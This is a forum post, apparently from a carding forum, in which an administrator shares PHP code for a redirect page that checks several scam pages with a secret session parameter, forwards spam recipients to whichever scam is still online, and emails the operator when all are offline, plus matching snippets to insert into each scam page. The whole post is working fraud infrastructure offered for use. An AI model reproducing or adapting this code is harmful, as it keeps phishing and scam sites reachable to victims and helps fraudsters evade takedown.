A short coding tip on how-to keep your scams alive much much longer

admin

Administrator
Staff member
Messages
472
Reputation
101
Reaction score
268
Points
63
Jabber
[email protected]
Telegram
cardervip
Create page for redirect and insert this code:

Code:
<?php
function scam_exists($strURL) { 
$data = file_get_contents($strURL);
return $data;
} 

$conf_word = "exists"; // confirmation word for checker to see if the scam is still alive

$url1 = "http://www.scam1.com/?session=31337"; // first scam url
$url2 = "http://www.scam2.com/?session=31337"; // second scam url
$url3 = "http://www.scam3.com/?session=31337"; // third scam url (actually you can add as much as you like, but don't forget to add equal number of "elseif" 

if(scam_exists($url1) == $conf_word) { 
$url1 = str_replace("?session=31337","", $url1); // str_replace("?session=31337","YOU_CAN_PUT_HERE_WHATEVER_YOU_NEED_TO", $url1);
header("Location: $url1");
}

elseif(scam_exists($url2) == $conf_word) {
$url2 = str_replace("?session=31337","", $url2);
header("Location: $url2");
} 

elseif(scam_exists($url3) == $conf_word) {
$url3 = str_replace("?session=31337","", $url3);
header("Location: $url3");
}

else {
@mail('[email protected]','Scams report','All your scams are offline'); // or send mail to you if all scams are offline
header("Location: http://editme.com"); // any site where people should be redirected if all scams are offline
}
?>

Now in you scam page before all other code add:

Code:
<?php 
$ses = "31337";
$session = $_GET['session'];
if($session == $ses) { echo "exists"; }
else {
?>

And add this in the end of your scam after all code:

Code:
<?php
}
?>

Now upload all scam pages and redirect page to separate places. In your spam add redirect page's url. It will check if your scams are responding to query and if any of them aren't online it will redirect to working scam.
 
Top